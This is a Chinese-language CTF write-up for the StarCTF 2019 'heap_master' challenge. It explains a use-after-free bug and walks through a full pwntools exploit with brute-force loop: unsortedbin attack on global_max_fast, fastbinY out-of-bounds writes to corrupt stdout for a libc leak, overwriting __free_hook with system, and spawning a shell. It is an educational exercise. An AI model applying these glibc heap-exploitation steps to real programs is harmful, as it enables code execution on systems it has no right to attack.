StarCTF2019_heap_master

这道题学到了很多,特此记录一下。

1.常规checksec一下,保护全开。

2.函数解析:

比较常规的菜单题,这里的add是正常,但是程序最开始mmap一块0x10000大小的chunk,之后的edit和delete都是针对这个最开始mmap出来的chunk。

(1)edit函数:输入偏移,针对m_chunk_addr对应偏移修改。比如m_chunk_addr=0x100,偏移为0x10,修改内容为’M’那么修改内容为*(0x100+0x10) = ‘M’,即*(m_chunk_addr+offset) = change_cont。

img

(2)delete函数:同样输入偏移针对m_chunk_addr对应偏移free,由于没有指针的相关操作,所以这里存在UAF。

img

3.漏洞解析:

(1)由于mmap的数据可以任意伪造和释放,那么我们可以利用这个释放任意大小chunk,在没有办法泄露地址的情况下,我们可以选择进行爆破global_max_fast,利用unsortedbin attack在global_max_fast上写下main_arena地址,使得fastbinY数组可以越界写。

(2)之后再利用释放任意大小的chunk,从main_arena中fastbinY数组越界往后写,修改_IO_2_1_stout结构体的_IO_write_base、_IO_write_ptr、_IO_read_end、_IO_write_end为mmap中放入unsortedbin的堆地址,从而泄露出main_arena地址得到地址。

(3)再利用fastbin的特性,修改fastbinY数组上的chunk的fd为system,申请对应大小的fastbin回来之后,其fd就留在fastbinY数组上,这样如果fastbinY对应的那个索引chunk本身就在free_hook上,那么就可以修改free_hook为system了。这个同样通过fastbinY数组越界写来实现。

(4)最后释放一个/bin/sh堆块即可getshell。

4.exp编写与调试:

(1)首先是菜单函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#注释头

def dbg():
gdb.attach(io)
pause()


def add(size):
io.sendlineafter(">> ", "1")
sleep(0.01)
io.sendlineafter("size: ", str(size))
sleep(0.01)

def edit(offset, cont):
io.sendlineafter(">> ", "2")
sleep(0.01)
io.sendlineafter("offset: ", str(offset))
sleep(0.01)
io.sendlineafter("size: ", str(len(cont)))
sleep(0.01)
io.sendafter("content: ", cont)
sleep(0.01)

def m_edit(offset, cont):
io.sendline("2")
sleep(0.01)
io.sendline(str(offset))
sleep(0.01)
io.sendline(str(len(cont)))
sleep(0.01)
io.send(cont)
sleep(0.01)

def delete(offset):
io.sendlineafter(">> ", "3")
sleep(0.01)
io.sendlineafter("offset: ", str(offset))
sleep(0.01)

def m_delete(offset):
io.sendline("3")
sleep(0.01)
io.sendline(str(offset))
sleep(0.01)

这里切分m_delete和m_edit的原因是因为在后面第一次修改_IO_write_base之后输出的东西可能就会发生一些变化,不太好接着判断。

(2)修改global_max_fast:

1
2
3
4
5
6
7
8
9
10
11
#注释头

edit(0,p64(0x0)+p64(0x91)+
'0'*0x80+
p64(0x0)+p64(0x21)+
'1'*0x10+
p64(0x0)+p64(0x21))
delete(0x10)
guess = 0x9000
edit(0x18, p16((guess + libc.sym['global_max_fast'] - 0x10) & 0xffff))
add(0x80)

img

(3)fastbinY数组越界写,泄露得到地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#注释头

fastbinsY = guess + libc.sym['main_arena'] + 8
_IO_read_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x10
_IO_write_base = guess + libc.sym['_IO_2_1_stdout_'] + 0x20
_IO_write_ptr = guess + libc.sym['_IO_2_1_stdout_'] + 0x28
_IO_write_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x30



# overwrite _IO_2_1_stdout_._IO_write_base
idx = (_IO_write_base - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8, p64(size+1))
m_edit(0x10 + size, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_write_ptr
idx = (_IO_write_ptr - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8 + 0x10, p64(size+1))
m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_write_end
idx = (_IO_write_end - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8 + 0x10, p64(size+1))
m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_read_end
idx = (_IO_read_end - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8, p64(size+1))
m_edit(0x10 + size, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10)


libc_base= u64(io.recvuntil("\x7f")[-6: ] + '\0\0') - libc.sym['main_arena'] - 88
log.info("libc_base:0x%x"%libc_base)
__free_hook = libc_base + libc.sym['__free_hook']
fastbinsY = libc_base + libc.sym['main_arena'] + 8
system_addr = libc_base + libc.sym['system']

mmap为0x4a0fe000

img

img

四个均修改过了,这种情况下flag不修改也是可以泄露的。

▲其实这个只写write_base和read_end也可以,只不过会发送特别多的数据过来,打远程的时候很不好打。需要注意的是read_end得最后写。

(4)越界释放chunk到_free_hook,然后修改其fd为system,再申请回来就可以将_free_hook改为system。

1
2
3
4
5
6
7
8
9
10
11
#注释头

# fake fastbin fd to system
idx = (__free_hook - fastbinsY) / 8
size = idx * 0x10 + 0x20
log.info("size:0x%x"%size)
edit(0x10 + 8, p64(size+1))
edit(0x10 + size, p64(0x0)+p64(0x21))
delete(0x10 + 0x10)
edit(0x20, p64(system_addr))
add(size - 0x10)

没有申请回来之前,free_hook上是堆地址,其FD为system

img

申请回来之后,FD被写进free_hook,这是fastbin机制造成的。

img

(5)创建/bin/sh堆块,释放即可getshell:

1
2
3
4
5
#注释头

edit(0x200, p64(0x0)+p64(0x21)+"/bin/sh\0")
delete(0x200 + 0x10)
io.interactive()

5.总的爆破EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#注释头

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import os
context.binary = "./heap_master"
libc = ELF(context.binary.libc.path)


def dbg():
gdb.attach(io)
pause()


def add(size):
io.sendlineafter(">> ", "1")
sleep(0.01)
io.sendlineafter("size: ", str(size))
sleep(0.01)

def edit(offset, cont):
io.sendlineafter(">> ", "2")
sleep(0.01)
io.sendlineafter("offset: ", str(offset))
sleep(0.01)
io.sendlineafter("size: ", str(len(cont)))
sleep(0.01)
io.sendafter("content: ", cont)
sleep(0.01)

def m_edit(offset, cont):
io.sendline("2")
sleep(0.01)
io.sendline(str(offset))
sleep(0.01)
io.sendline(str(len(cont)))
sleep(0.01)
io.send(cont)
sleep(0.01)

def delete(offset):
io.sendlineafter(">> ", "3")
sleep(0.01)
io.sendlineafter("offset: ", str(offset))
sleep(0.01)

def m_delete(offset):
io.sendline("3")
sleep(0.01)
io.sendline(str(offset))
sleep(0.01)

def pwn():
global io
edit(0,p64(0x0)+p64(0x91)+
'0'*0x80+
p64(0x0)+p64(0x21)+
'1'*0x10+
p64(0x0)+p64(0x21))
delete(0x10)
guess = 0x9000
edit(0x18, p16((guess + libc.sym['global_max_fast'] - 0x10)&0xffff))
add(0x80)


fastbinsY = guess + libc.sym['main_arena'] + 8
_IO_read_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x10
_IO_write_base = guess + libc.sym['_IO_2_1_stdout_'] + 0x20
_IO_write_ptr = guess + libc.sym['_IO_2_1_stdout_'] + 0x28
_IO_write_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x30
__free_hook = guess + libc.sym['__free_hook']
_IO_list_all = guess + libc.sym['_IO_list_all']

# overwrite _IO_2_1_stdout_._IO_write_base
idx = (_IO_write_base - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8, p64(size+1))
m_edit(0x10 + size, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_write_ptr
idx = (_IO_write_ptr - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8 + 0x10, p64(size+1))
m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10 + 0x10)

# overwrite _IO_2_1_stdout_._IO_write_end
idx = (_IO_write_end - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8 + 0x10, p64(size+1))
m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10 + 0x10)


# overwrite _IO_2_1_stdout_._IO_read_end
idx = (_IO_read_end - fastbinsY) / 8
size = idx * 0x10 + 0x20
m_edit(0x10 + 0x8, p64(size+1))
m_edit(0x10 + size, p64(0x0)+p64(0x21))
m_delete(0x10 + 0x10)

libc_base= u64(io.recvuntil("\x7f")[-6: ] + '\0\0') - libc.sym['main_arena'] - 88
log.info("libc_base:0x%x"%libc_base)
__free_hook = libc_base + libc.sym['__free_hook']
fastbinsY = libc_base + libc.sym['main_arena'] + 8
system_addr = libc_base + libc.sym['system']


# fake fastbin fd to system
idx = (__free_hook - fastbinsY) / 8
size = idx * 0x10 + 0x20
log.info("size:0x%x"%size)
edit(0x10 + 8, p64(size+1))
edit(0x10 + size, p64(0x0)+p64(0x21))
delete(0x10 + 0x10)
edit(0x20, p64(system_addr))
#dbg()
add(size - 0x10)
#pause()

edit(0x200, p64(0x0)+p64(0x21)+"/bin/sh\0")
delete(0x200 + 0x10)

io.interactive()



i = 0
while True:
i += 1
print i
io = process("./heap_master")
try:
pwn()
io.recv(timeout = 1)
#要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发 EOFError
except EOFError:
io.close()
continue
else:
# sleep(0.1)
# io.sendline('/bin/sh\x00')
# sleep(0.1)
# io.interactive() #没有EOFError的话就是爆破成功,可以开shell
break

6.总结:

(1)unsortedbin attack:修改bk任意写main_arena,这里bk通常可以进行部分写来爆破,也常常用来修改global_max_fast,使得fastbinY越界写。

(2)FSOP的利用中,不一定非得修改flag,修改_IO_write_base、_IO_write_ptr、_IO_read_end、_IO_write_end也可以,其中需要满足_IO_read_end等于_IO_write_base来起到flag的作用绕过检查。

(3)fastbinY数组的越界申请,修改其fd可实现任意写,这点和利用fastbinY数组中chunk大小在main_arena中留下0x20~0x80的数据异曲同工。